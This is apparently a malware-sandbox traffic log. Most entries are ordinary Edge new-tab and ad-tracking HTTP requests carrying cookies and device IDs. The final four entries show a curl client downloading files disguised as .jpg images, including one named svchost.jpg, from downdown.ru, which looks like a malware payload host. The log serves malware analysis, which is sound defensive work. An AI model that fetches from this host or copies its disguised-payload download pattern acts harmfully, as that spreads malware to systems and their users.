Source: global traffic	HTTP traffic detected: GET /getuid?https://c.bing.com/c.gif?anx_uid=$UID&Red3=MSAN_pd&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mapuid?member=280&user=0136911D054E6BFC0E90846C04216AB7;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D0136911D054E6BFC0E90846C04216AB7%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cs/msn?id=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1Host: trace.popin.ccConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true HTTP/1.1Host: ntp.msn.comConnection: keep-aliveCache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_Auth=; pglt-edgeChromium-dhp=2083; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=F7B66E0F99774EE4994A9572D133A3C9.RefC=2025-01-11T06:54:29Z; USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; MUIDB=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=79ce19f4-5d97-4e79-bde7-86678df03e68; ai_session=4GQ3I+JGTtsRdJFn4pBfwj\|1736578471570\|1736578471570; sptmarket_restored=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=F7B66E0F99774EE4994A9572D133A3C9.RefC=2025-01-11T06:54:29Z; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-US&title=New+tab&OCID=MNHP_U531&enableForceCache=true HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Device-Memory: 8sec-ch-ua-model: rtt: 150sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "94.0.992.31"sec-ch-ua-platform-version: "10.0.0"downlink: 10sec-ch-ua-bitness: "64"ect: 4gsec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_Auth=; pglt-edgeChromium-dhp=2083; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=F7B66E0F99774EE4994A9572D133A3C9.RefC=2025-01-11T06:54:29Z; USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; MUIDB=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=79ce19f4-5d97-4e79-bde7-86678df03e68; ai_session=4GQ3I+JGTtsRdJFn4pBfwj\|1736578471570\|1736578471570; sptmarket_restored=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=F7B66E0F99774EE4994A9572D133A3C9.RefC=2025-01-11T06:54:29Z; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%3A%2F%2Fc.bing.com%2Fc.gif%3Fanx_uid%3D%24UID%26Red3%3DMSAN_pd%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?ssp=msn&id=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1Host: code.yengo.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D0136911D054E6BFC0E90846C04216AB7%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D0136911D054E6BFC0E90846C04216AB7%252526gdpr%25253D0%252526gdpr_consent%25253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?redirect=%7BPubRedirectUrl%7D&gdpr_consent=&gdpr=0&us_privacy=&gdpr_pd=&source=5&google_push=&retry= HTTP/1.1Host: sync.inmobi.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mapuid?member=280&user=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D0136911D054E6BFC0E90846C04216AB7%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D0136911D054E6BFC0E90846C04216AB7%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D0136911D054E6BFC0E90846C04216AB7%252526gdpr%25253D0%252526gdpr_consent%25253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?entity=483&code=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /notify/served?rid=f7b66e0f99774ee4994a9572d133a3c9&r=infopane&i=3&p=edgechrntp&l=en-us&d=bing&b=Edg&a=dfa64b01-ec54-411d-97b5-76d005271c07&ii=1&c=2556969255498558843&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-infopane-3&ptid=edgechrntp-peekinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fsetuid%3Fentity%3D483%26code%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /notify/served?rid=f7b66e0f99774ee4994a9572d133a3c9&r=infopane&i=11&p=edgechrntp&l=en-us&d=bing&b=Edg&a=1dd19eb1-735b-470f-9209-d9bb436269a4&ii=1&c=7645241228381444372&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-infopane-11&ptid=edgechrntp-peekInfopane-2&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /notify/served?rid=f7b66e0f99774ee4994a9572d133a3c9&r=river&i=1&p=edgechrntp&l=en-us&d=bing&b=Edg&a=13e49033-643c-448b-9c06-1bea332fabbe&ii=1&c=11891600591998607670&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-river-1&ptid=edgechrntp-peekriver-1&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /notify/served?rid=f7b66e0f99774ee4994a9572d133a3c9&r=resinfopane&i=6&p=edgechrntp&l=en-us&d=bing&b=Edg&a=087acc36-08c1-4daa-8dbd-3c1c710f7f4a&ii=1&c=15351574985914386683&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-resinfopane-6&ptid=edgechrntp-resinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D0136911D054E6BFC0E90846C04216AB7%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?entity=483&code=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fsetuid%3Fentity%3D483%26code%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /notify/viewed?rid=f7b66e0f99774ee4994a9572d133a3c9&r=infopane&i=3&p=edgechrntp&l=en-us&d=bing&b=Edg&a=dfa64b01-ec54-411d-97b5-76d005271c07&ii=1&c=2556969255498558843&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-infopane-3&ptid=edgechrntp-peekinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /notify/viewed?rid=f7b66e0f99774ee4994a9572d133a3c9&r=resinfopane&i=6&p=edgechrntp&l=en-us&d=bing&b=Edg&a=087acc36-08c1-4daa-8dbd-3c1c710f7f4a&ii=1&c=15351574985914386683&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-resinfopane-6&ptid=edgechrntp-resinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /notify/viewed?rid=f7b66e0f99774ee4994a9572d133a3c9&r=infopane&i=11&p=edgechrntp&l=en-us&d=bing&b=Edg&a=1dd19eb1-735b-470f-9209-d9bb436269a4&ii=1&c=7645241228381444372&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-infopane-11&ptid=edgechrntp-peekInfopane-2&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /driver.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /blat.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /svchost.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /Trays.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /
